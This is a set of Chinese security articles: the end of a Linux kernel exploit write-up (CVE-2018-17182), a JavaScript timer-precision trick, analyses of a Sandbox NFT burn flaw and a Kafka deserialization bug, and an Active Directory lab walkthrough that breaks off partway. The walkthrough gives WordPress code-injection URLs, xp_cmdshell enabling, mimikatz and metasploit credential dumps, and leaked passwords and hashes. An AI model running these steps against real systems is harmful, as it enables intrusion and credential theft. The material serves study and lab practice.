ffffffff810b5c25: 48 8b 80 88 00 00 00 mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0 test rax,rax
ffffffff810b5c2f: 74 08 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
然后，完全控制RDI：
ffffffff810a4aaa: 48 89 fb mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20 mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28 mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
此时，我们可以调用run_cmd()，它使用空格分隔的路径和参数列表作为唯一的参数，生成一个root特权用户模式助手。这使我们能够运行root特权提供的二进制文件。(感谢Mark指出，如果你能控制RDI和RIP，就不必尝试做一些疯狂的事情，比如在CR4中翻转SM*P位，只需生成一个usermode
helper…)
在启动usermode helper之后，内核会因为页错误而崩溃，因为JOP链没有干净地终止;但是，由于这只会杀死发生错误的进程，所以并不是很重要。
# 修复时间线
此错误报告于2018-09-12。两天后，即2018-09-14，在内核树的上游进行了修复。与其他软件供应商的修复时间相比，这是非常快的。在这一点上，下游厂商理论上可以支持并应用补丁。这个bug现在基本上是公开的，即使它的安全影响被提交消息混淆了，[grsecurity](https://twitter.com/grsecurity/status/1042376315045916672)经常演示这一点。
然而，上游内核中的修复并不意味着用户的系统实际上已经修复了。对于使用基于上游稳定分支的分发内核的用户，向其发送修复程序的正常流程大致如下:
1. 一个补丁落在了内核的上游。
2. 这个补丁被反向移植到一个向上支持的稳定内核中。
3. 发行版将向上支持的稳定内核的更改合并到其内核中。
4. 用户安装新的发行版内核。
注意，补丁在第1步之后就公开了，这可能允许攻击者利用漏洞，但是用户只有在第4步之后才受到保护。
在本例中，在补丁公开5天后，对上行支持的稳定内核4.18、4.14、4.9和4.4的后端版本发布了2018-09-19，此时发行版可以将补丁引入。
上游稳定内核更新的发布非常频繁。例如，查看4.14
stable内核的最后几个[稳定版本](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/log/?h=linux-4.14.y&qt=grep&q=Linux+4.14.)，这是最新的上游长期维护版本:
4.14.72 on 2018-09-26
4.14.71 on 2018-09-19
4.14.70 on 2018-09-15
4.14.69 on 2018-09-09
4.14.68 on 2018-09-05
4.14.67 on 2018-08-24
4.14.66 on 2018-08-22
4.9和4.4长期维护内核的更新频率相同;只有3.16长期维护内核在最近一次更新(2018-09-25([3.16.58](https://git.kernel.org/pub/scm/linux/kernel/git/bwh/linux-stable.git/tag/?h=v3.16.58))和上一次更新(2018-06-16([3.16.57](https://git.kernel.org/pub/scm/linux/kernel/git/bwh/linux-stable.git/tag/?h=v3.16.57))之间没有收到任何更新。
然而，Linux发行版通常并不经常发布发行版内核更新。例如，Debian
stable发布了一个[基于4.9的内核](https://packages.debian.org/search?keywords=linux-image-amd64&searchon=names&suite=stable§ion=all)，但是截止到2018-09-26，这个内核最近一次[更新](http://metadata.ftp-master.debian.org/changelogs//main/l/linux/linux_4.9.110-3+deb9u4_changelog)是2018-08-21。类似地，Ubuntu
16.04发布了一个内核，最近[更新](http://changelogs.ubuntu.com/changelogs/pool/main/l/linux-signed/linux-signed_4.15.0-34.37/changelog)时间是2018-08-27。Android每个月只发布一次安全更新。因此，当上游稳定内核中存在安全关键的修复程序时，用户仍然可能需要数周时间才能真正使用修复程序——尤其是在安全影响没有公开宣布的情况下。
在这种情况下，安全问题在2018-09-18的oss-security邮件列表上公布，并在2018-09-19进行了CVE分配，这使得向用户发送新的分发内核的需求更加清晰。
仍然：截至2018-09-26，Debian和Ubuntu（在16.04和18.04版本中）都将这个漏洞跟踪为unfixed：
<https://security-tracker.debian.org/tracker/CVE-2018-17182>
<https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-17182.html>
Fedora在2018-09-22向用户推送了更新:<https://bugzilla.redhat.com/show_bug.cgi?id=1631206#c8>
# 总结
这个漏洞显示了内核配置对编写内核漏洞利用的难度有多大的影响。尽管简单地打开每一个与安全相关的内核配置选项可能是一个坏主意，但它们中的一些——比如kernel.dmesg_restricted
sysctl——在启用时似乎能提供合理的权衡。
修复时间表显示了内核处理严重安全漏洞的方法，非常有效地快速登陆git主树中的修复程序，但在发布上游修复程序和修复程序实际可供用户使用的时间之间留下了一个曝光窗口
- 此时间窗口足够大，以至于攻击者可以在此期间编写内核漏洞利用程序。 | 社区文章 |
# JavaScript侧信道时间测量
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近因为需求，需要测量JavaScript单个函数的执行时间，但由于精度问题，遇到了各种各样的问题，在此做简单记录。
## JavaScript高精度时间函数
首先得明确，JavaScript单个函数执行时间应该是微秒级的，所以必须需要高精度。那么第一反应自然是查找是否有相关函数，以往的时间函数`new
Date().getTime()`肯定是不够了，因为其精度为毫秒级，测量函数执行时间，得到的结果必然为0。
这里我们查阅手册，将目光定位到`performance.now()`
我们不妨做个测试
let n = 0;
while (n<10000){
console.log((new Date()).getTime());
n = n+1;
}
得到结果
而对于
let n = 0;
while (n<10000){
console.log(performance.now());
n = n+1;
}
得到结果
我们可以轻易的看出，这里进行一次循环大概是0.04ms，而精度在ms级的`new Date().getTime()`已经无能为力
## 精度失灵
既然确定了`performance.now()`，不妨在Chrome进行测试
我们可以轻松测量出`crypto.getRandomValues(new Uint8Array(10))`的运行时间大概为0.1ms
但由于可能存在误差，我尝试运行1000次，却出现了问题
竟然出现了大量的0
我又在我虚拟机里的Chrome运行
这是什么原因？对比之后发现
虚拟机
而物理机
查阅Chrome的Updates (2018)
由于高精度的时间可应用于重大漏洞speculative execution side-channel
attack(`https://spectreattack.com/`)
所以各大主流浏览器做出了安全措施
例如FireFox、Safari，将`performance.now()`精度降低为1ms
而Chrome改为100微秒并加入了抖动
所以这也不难解释，为什么Chrome 71版本得到这么多0，相比FireFox、Safari，能得到数据，已经算是仁慈了
## 柳暗花明
那么怎么进行高精度测量呢？不能因为浏览器的不支持，我们就不完成需求吧~
这里查阅文章发现
https://link.springer.com/chapter/10.1007/978-3-319-70972-7_13
一文中进行了JavaScript侧信道测量时间的介绍
由于精度问题，例如
var start = performance.now();
func()
var end = performance.now();
会使得`start = end`,这样测量出来只能为0，而作者很巧妙的使用了`wait_edge()`
function wait_edge()
{
var next,last = performance.now();
while((next = performance.now()) == last)
{}
return next;
}
这样一来就可以到下一次performance.now()的时候再继续
那么问题又来了，中间空转的时间怎么办呢？
作者又使用了`count_edge()`进行了空转次数探测
function count_edge()
{
var last = performance.now(),count = 0;
while(performance.now() == last) count++;
return count;
}
那么怎么把空转次数的单次时间测量出来呢？这里作者又设计了`calibrate()`
function calibrate()
{
var counter = 0,next;
for(var i=0;i<10;i++)
{
next = wait_edge();
counter += count_edge();
}
next = wait_edge();
return (wait_edge() - next)/(counter/10.0);
}
假设我们要测量函数fuc()，即可如下编写即可
function measure()
{
var start = wait_edge();
fuc();
var count = count_edge();
return (performance.now()-start)-count*calibrate();
}
即结束减去开始的时间，再减去中间空转的时间。
我们再来用chrome 71测试一下
和之前的`performance.now()`对比
显然误差已经控制在了0.01ms，即10微秒内，这是我们能接受的
当然，在FireFox这种ms级的更有成就感，因为之前的结果都是0，但是用这样的方法，可以测量了
FireFox:
## 测试与结论
我以`crypto.getRandomValues(new Uint8Array(n));`为例测试
用`performance.now()`的结果和`measure()`进行做差比较，不难发现
### Chrome
在Chrome 57版本下，差异仅在10微秒以内。(注：结果由`performance.now()`经过进制转换输出)
而在Chrome 71版本下，差异却达到了50微秒以内(注：结果由`performance.now()`经过进制转换输出)
原因也很明显，因为71版本的`performance.now()`降低了精度，并且加入了抖动，导致许多`end-start`的值为0
那么我们在71版本下直接测试侧信道方式得到的时间
不难发现，其实在71版本下计算差是没有意义的，因为`performance.now()`的精度已经变为100微秒
所以做差得到的值基本是侧信道方式测得的结果。
所以我们基本可以确定，这样的方式在目前chrome版本可以得到比`performance.now()`更高精度的时间测量
但我们的目的肯定不局限于Chrome，我们再看看Firefox
### Firefox
对于Firefox就更过分了,通过`performance.now()`测量高精度时间直接变成了不可能，因为精度被调整成了毫秒级，所以`end-start`的值都变为了0
而对于侧信道测量方式
我们依旧还是可以测量出许多微秒级的时间
## 后记
这样的方式可以有效突破浏览器的高精度函数毫秒级的限制，甚至对于一些特定攻击依旧奏效。
若有更好的方式还请大佬不吝赐教~
## 参考链接
<https://zhuanlan.zhihu.com/p/32629875>
<https://link.springer.com/chapter/10.1007/978-3-319-70972-7_13> | 社区文章 |
**作者：Victory@慢雾安全团队
原文链接：<https://mp.weixin.qq.com/s/UECwAt_p8rXn-3kZ4kC2VQ>**
据慢雾区情报，2022 年 1 月 28 日 The Sandbox 官方发布一则 LAND
智能合约迁移的公告，但是在公告中没有说明合约具体是出了什么问题，慢雾安全团队现将简要分析结果分享如下。
## 项目背景
The Sandbox 是一个虚拟世界，玩家可以使用平台代币 SAND
在以太坊区块链中创建、拥有自己的游戏体验并从中获利。在这里你可以玩、创造、收集、赚取、治理和拥有游戏中的任何东西。
## 简要分析
1.通过阅读问题的合约，地址：0x50f5474724e0Ee42D9a4e711ccFB275809Fd6d4a，发现在以往都设置成内部调用的 _burn
函数在问题合约是一个 public 的状态。
虽然函数内有做 require(from == owner, "not owner"); 判断，但是这个 from
是可以由调用者自己构造。这就导致任何用户都可以去随意 burn 掉其他用户的 NFT。
2.我们尝试着去查询链上的交易记录，发现已经有人进行了 _burn 测试，成功燃烧掉了一块不属于他的 NFT，但没有发现大规模的攻击行为，应该是个白帽测试。
3.从上图我们可以看到燃烧的 tokenID 是 3738， 但是[NFT
tokenURI](https://api.sandbox.game/lands/3738/metadata.json) 仍可正常访问，土地的 [NFT
信息](https://www.sandbox.game/en/lands/9045d0ed-2fdd-4bd1-b606-28527b4eb39c/)也仍然可以访问
，我们推测官方应该已经对此做出修改。
4.随后查看了项目方升级后的新合约，地址：
0x5CC5B05a8A13E3fBDB0BB9FcCd98D38e50F90c38
发现项目方这次更新后使用的是 proxy
合约（可能是便于日后出问题之后可以对合约进行二次升级），逻辑合约地址：0x1fc6479bdc7511c6803aff2f477e0fd3171606e0，对比后发现修改过的
_burn 函数其函数可见性已经修改成 internal。
5.至此，The Sandbox 事件简要分析完毕。通过查询合约发现还是有部分 NFT 拥有者还未做迁移，这是项目方提供的迁移界面：
https://sandbox.game/en/me/migrate。
## 总结
本次事件中项目方及时的确认了问题并且提出了解决方案，未造成用户资产的严重损失。但是漏洞的细节让人细思极恐。如果有攻击者利用此漏洞并进行恶意攻击，那么整个
The Sandbox 的土地将被燃烧殆尽。从中我们也可以发现没有安全性的元宇宙世界就是空中楼阁。
慢雾安全团队建议：元宇宙系统的安全边界更广，上线前应该进行充分的安全审计，避免出现类似严重的问题。
* * * | 社区文章 |
# 【漏洞分析】Apache Kafka readObject漏洞分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：c1tas@360CERT
**I.背景介绍**
Apache Kafka 是开源的Apache流处理平台，由
Apache编写，采用scala与java。该项目旨在于提供一个统一的、高吞吐量的、低延迟的实时数据处理平台。
**II.漏洞概述**
Kafka
内部实现一个带有readObject方法的并且未带有任何校验的危险类，如果用户在使用该框架中，使用了该类的话，通过设置相关参数后实例化该类的时候会导致远程代码执行。
360CERT对此漏洞进行跟踪分析，考虑到实际生产环境这样的代码逻辑并不常见，根据影响，确认为中低危漏洞。
**III.漏洞详情**
**A.简要技术细节**
漏洞成因描述和简要技术细节(可参考官方安全公告technical details)
org.apache.kafka.connect.storage.FileOffsetBackingStore 这个 class
拥有一个反序列化操作,在执行
FileOffsetBackingStore 对象的start方法时候会触发并反序列恶意序列化对象，导致代码执行。
因为Kafka是一个开源的框架，如果用户在使用的过程中实现了类似实例化FileOffsetBackingStore这个对象，并且传入参数受到控制的业务逻辑的话就会受到该漏洞的影响。
**B.影响版本**
Apache Kafka
0.10.0.0 -> 0.11.0.0(latest)
均受到影响
**IV.漏洞细节分析**
首先生成一个恶意的对象，这个对象在反序列化后就会执行恶意代码，此处采用ysoserial.payloads.Jdk7u21这个开源框架中的方法，直接产生一个恶意对象
生成这个恶意对象后，将这个对象序列化，然后存储成一个文件，漏洞是FileOffsetBackingStore这个只接受文件的class出的所以需要传入这个文件。
可以看到我们将执行的命令是touch 360CERT创建一个名为360CERT的文件。
接下来给即将实例化的FileOffsetBackingStore对象做一些初始化设置，将要读取的文件路径传入。
调用configure方法后
会设置this.file这个属性的值，为我们传入的文件
调用start方法后
所以直接进入load方法
可以看到这里将this.file的值读取到is中，这里就是我们构造的恶意序列化的对象
而接下来调用的readObject()方法正好会序列化这个对象
可以看到360CERT这个文件已经被我们创建了。
**V.时间线**
2017-7-19oss-security发布安全公告
2017-7-19360CERT完成对漏洞的分析并形成报告
**VI.参考来源**
<http://www.openwall.com/lists/oss-security/2017/07/19/1> | 社区文章 |
### Hacking Windows Active Directory
#### 目录
1. Description
2. Workthrough
2.1 10.1.222.203
2.1.1 Wordpress - Code Injection
2.2 10.1.222.200
2.2.1 Port Scanning
2.2.2 XP_CMDSHELL
2.3 10.1.222.201
2.3.1 MS14-068
2.4 10.1.222.202
#### 描述
Description
read Flag from C:\file.sys on Windows DC. Please find Windows DC yourself.
Target
http://10.1.222.203 (The Start)
10.1.222.200
10.1.222.201
10.1.222.202
10.1.222.203
#### 演练
**攻击地图：**
---->[10.1.222.203]---->[10.1.222.200]---->[10.1.222.201]---->[10.1.222.202]
. 10.1.222.203
wordpress vuln（code injecion）。
从wp-config.php中读取密码
用密码登录10.1.222.200的SQL Server。
2. 10.1.222.200
访问SQL SERVER，并启用XP_CMDSHELL
添加一个管理员用户。
3. 10.1.222.201
渗透MS14-068的Windows域管理员
管理员桌面上的mstsc客户端
4. 10.1.222.202
获得Windows DC管理员权限。
* 10.1.222.203
* <http://10.1.222.203/> is a wordpress 站点, 我们使用 wpscan](<https://github.com/wpscanteam/wpscan>) 去扫描.
**WORDPRESS**
用参数`p`扫描wordpress插件。
┌─[✗]─[lab@core]─[/opt/wpscan]
└──╼ ruby wpscan.rb --url 10.1.222.203 --enumerate p
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.8
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://10.1.222.203/
[+] Started: Tue Sep 8 03:21:27 2015
[+] robots.txt available under: 'http://10.1.222.203/robots.txt'
[!] The WordPress 'http://10.1.222.203/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.12
[+] XML-RPC Interface available under: http://10.1.222.203/xmlrpc.php
[+] WordPress version 4.3 identified from meta generator
[+] WordPress theme in use: twentyfifteen - v1.3
[+] Name: twentyfifteen - v1.3
| Location: http://10.1.222.203/wp-content/themes/twentyfifteen/
| Readme: http://10.1.222.203/wp-content/themes/twentyfifteen/readme.txt
| Style URL: http://10.1.222.203/wp-content/themes/twentyfifteen/style.css
| Theme Name: Twenty Fifteen
| Theme URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple,...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating installed plugins ...
Time: 00:03:46 <=============================================================> (1906 / 1906) 100.00% Time: 00:03:46
[+] We found 2 plugins:
[+] Name: akismet
| Location: http://10.1.222.203/wp-content/plugins/akismet/
[+] Name: cm-download-manager
| Location: http://10.1.222.203/wp-content/plugins/cm-download-manager/
| Readme: http://10.1.222.203/wp-content/plugins/cm-download-manager/readme.txt
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: CM Download Manager <= 2.0.0 - Code Injection
Reference: https://wpvulndb.com/vulnerabilities/7679
Reference: http://packetstormsecurity.com/files/129183/
Reference: https://downloadsmanager.cminds.com/release-notes/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8877
Reference: http://osvdb.org/show/osvdb/114867
Reference: https://www.exploit-db.com/exploits/35324/
[i] Fixed in: 2.0.4
[!] Title: CM Download Manager <= 2.0.6 - XSS and CSRF
Reference: https://wpvulndb.com/vulnerabilities/7756
Reference: http://packetstormsecurity.com/files/129357/
Reference: http://www.securityfocus.com/bid/71418/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9129
Reference: http://osvdb.org/show/osvdb/115223
[i] Fixed in: 2.0.7
[+] Finished: Tue Sep 8 03:25:29 2015
[+] Requests Done: 2001
[+] Memory used: 41.98 MB
[+] Elapsed time: 00:04:02
Code Injection / Xss and CSRF are here.
Code Injection:尝试使用CM下载管理器<= 2.0.0 - 代码注入，信息：
http://10.1.222.203/cmdownloads/?CMDsearch=%22.phpinfo%28%29.%22
从phpinfo页面查看禁用功能。
system,
exec,
shell_exec,
passthru,
popen,
dl,
proc_open,
popen,
curl_exec,
curl_multi_exec,
parse_ini_file,
show_source,
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
阅读wordpress配置文件wp-config.php：
http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(scandir('.'))."
http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(file_get_contents('wp-config.php'))."
wp-config.php的内容如下：
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
/*
* hello world!
*
*
* =========================================================================
* Hackers, Welcome Here：
*
* 1、Please keey everything work well；
* 2、Maybe 10.1.222.203's root privilege is not important；
* 3、Logging is enable, and don't try to destroy the lab machine；
* 4、Targets：10.1.222.200、10.1.222.201、10.1.222.202、10.1.222.203 ；
* 5、read C:\file.sys on Windows DC;
* 6、Tools here: http://10.1.222.203/toolsforyou/
* 7、Enjoy It!
* 8. Happy Hacking !
* =========================================================================
* * /
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'Xd1moYqFr');
/** MySQL hostname */
define('DB_HOST', '10.1.222.200');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '^01/8T?sIYu5/zkZ/;5AcsN R5Nf0cy{aI4w%J5+_O1PWn!RBX8vje8Q|G:*2h_d');
define('SECURE_AUTH_KEY', ',{0:g.r(ml9LY+lpe4EG-SQ`Np p@r+8g6hiRYy0VAoMn~h[2XBU{X83(]MMkajF');
define('LOGGED_IN_KEY', 'RO}{Eyw(<(J=g|6=b4*Q(f-Uk&XB3.Hv6 XTGg!+C9Du-86U4e.wY9+,Zz&h0 (_');
define('NONCE_KEY', 'SN2+N1ZA6v[a.QgfGsZHyq&8 tO. 4^FNrlea:|7ifM)m-Uy!H^;At-8MeqrwMRM');
define('AUTH_SALT', 'HE<}>b.$S.GKNy@cUXCezBJmGkVM~GO/R%jB}6y~@HY3 W{%+,]mkpbEjC|GQ73!');
define('SECURE_AUTH_SALT', '.0Jix9L(%)XxhlNA3~IFPKWs!jm|VJ_]}J))@jpQV_]T>T7)i-e@z#k0W^q/Eq[G');
define('LOGGED_IN_SALT', 'V2bk%aIT-yTnvcj7+n,).IVygEdkc<p8VDWw-E&D^hS)2dR%ld&vZv`He|fdxalN');
define('NONCE_SALT', 'r+zYG+^AcZFA3;|d0]@.;7]PD>[9@Jv[@eLZ-u;v#l&R%@g40x?:4CO/-?y)3t=]');
10.1.222.203的数据库来自10.1.222.200。
#### 10.1.222.200
**Port Scanning**
用nmap扫描打开的端口，我们找到tcp / 1433 - SQL Server。
Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-08 12:04 China Standard Time
Initiating SYN Stealth Scan at 12:04
Scanning 10.1.222.200 [1000 ports]
Discovered open port 3306/tcp on 10.1.222.200
Discovered open port 139/tcp on 10.1.222.200
Discovered open port 135/tcp on 10.1.222.200
Discovered open port 3389/tcp on 10.1.222.200
Discovered open port 445/tcp on 10.1.222.200
Discovered open port 1433/tcp on 10.1.222.200
Discovered open port 49152/tcp on 10.1.222.200
Discovered open port 49156/tcp on 10.1.222.200
Discovered open port 49154/tcp on 10.1.222.200
Discovered open port 49155/tcp on 10.1.222.200
Discovered open port 49153/tcp on 10.1.222.200
Discovered open port 49157/tcp on 10.1.222.200
Completed SYN Stealth Scan at 12:04, 2.37s elapsed (1000 total ports)
Nmap scan report for 10.1.222.200
Host is up (0.060s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
3306/tcp open mysql
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Read data files from: C:\Program Files\Nmap
Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds
Raw packets sent: 1009 (44.396KB) | Rcvd: 1000 (40.048KB)
使用`sa/Xd1moYqFr`成功访问SQL Server。
* Linux - Freetds Usage.
* Windows - QueryExpress
**XP_CMDSHELL**
连接到SQL SERVER（10.1.222.200:1433）
┌─[✗]─[lab@core]─[/opt]
└──╼ tsql -S egServer70 -U sa
Password:
locale is "en_US.UTF-8"
locale charset is "UTF-8"
using default charset "UTF-8"
1> select @@version
2> go
Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
Apr 2 2010 15:48:46
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: ) (Hypervisor)
(1 row affected)
数据库版本：SQL SERVER 2008.使用命令启用XP_CMDSHELL。
1> EXEC sp_configure 'show advanced options',1
2> GO
Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174:
"Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install."
(return status = 0)
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell',1
2> GO
Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174:
"Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install."
(return status = 0)
1> RECONFIGURE
2> GO
add a administrator with XP_CMDSHELL.
1> EXEC xp_cmdshell 'whoami'
2> GO
output
nt authority\system
NULL
(2 rows affected)
(return status = 0)
1> EXEC xp_cmdshell 'wmic useraccount get name,sid'
2> GO
output
Name SID
Administrator S-1-5-21-30580861-1793299886-3410204933-500
ctfcx S-1-5-21-30580861-1793299886-3410204933-1010
Guest S-1-5-21-30580861-1793299886-3410204933-501
test S-1-5-21-30580861-1793299886-3410204933-1015
NULL
(7 rows affected)
(return status = 0)
1>
添加管理员用户，并成功访问10.1.222.200。 我们可以用mimikatz读取明确的密码。
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 16 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 111120 (00000000:0001b210)
Session : RemoteInteractive from 2
User Name : Administrator
Domain : MASTER
Logon Server : MASTER
Logon Time : 2015/9/7 11:46:22
SID : S-1-5-21-30580861-1793299886-3410204933-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : MASTER
* LM : b4d9e05213448dbd263365ce2184209e
* NTLM : 68f8b3e056dc171163f597288f47607e
* SHA1 : 50af106ec94c0739cd235d8a858f6e4fb255b3d0
tspkg :
* Username : Administrator
* Domain : MASTER
* Password : 6GbA6Crdw
wdigest :
* Username : Administrator
* Domain : MASTER
* Password : 6GbA6Crdw
kerberos :
* Username : hanlei
* Domain : PENTEST.COM
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : MASTER$
Domain : PENTEST
Logon Server : (null)
Logon Time : 2015/9/7 11:45:58
SID : S-1-5-20
msv :
[00000003] Primary
* Username : MASTER$
* Domain : PENTEST
* NTLM : af55bb72b1ca4ea6a3eac30216fac37b
* SHA1 : 24e18ef140a487fa902f65a75db4cd075414656c
tspkg :
wdigest :
* Username : MASTER$
* Domain : PENTEST
* Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
kerberos :
* Username : master$
* Domain : PENTEST.COM
* Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
ssp :
credman :
Authentication Id : 0 ; 35562 (00000000:00008aea)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2015/9/7 11:45:56
SID :
msv :
[00000003] Primary
* Username : MASTER$
* Domain : PENTEST
* NTLM : af55bb72b1ca4ea6a3eac30216fac37b
* SHA1 : 24e18ef140a487fa902f65a75db4cd075414656c
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2015/9/7 11:45:58
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : MASTER$
Domain : PENTEST
Logon Server : (null)
Logon Time : 2015/9/7 11:45:56
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : MASTER$
* Domain : PENTEST
* Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
kerberos :
* Username : master$
* Domain : PENTEST.COM
* Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
ssp :
credman :
mimikatz # exit
Bye!
我们也可以使用metasploit模块exploit/windows /mssql/mssql_payload来获取meterpreter shell。
msf post(hashdump) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ---------- 1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DATABASE 10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200)
msf post(hashdump) > run
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 89e7950dda3ecc11525391db37acf6a8...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Post module execution completed
msf post(hashdump) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------ 10.1.222.200 10.1.222.200 445/tcp (smb) administrator aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e NTLM hash
10.1.222.200 10.1.222.200 445/tcp (smb) guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash
msf post(hashdump) > use post/windows/gather/credentials/sso
msf post(sso) > show options
Module options (post/windows/gather/credentials/sso):
Name Current Setting Required Description
---- --------------- -------- ----------- SESSION yes The session to run this module on.
msf post(sso) > set SESSION 1
SESSION => 1
msf post(sso) > run
[*] Running module against DATABASE
[-] x64 platform requires x64 meterpreter and mimikatz extension
[*] Post module execution completed
meterpreter > load mimikatz
Loading extension mimikatz...
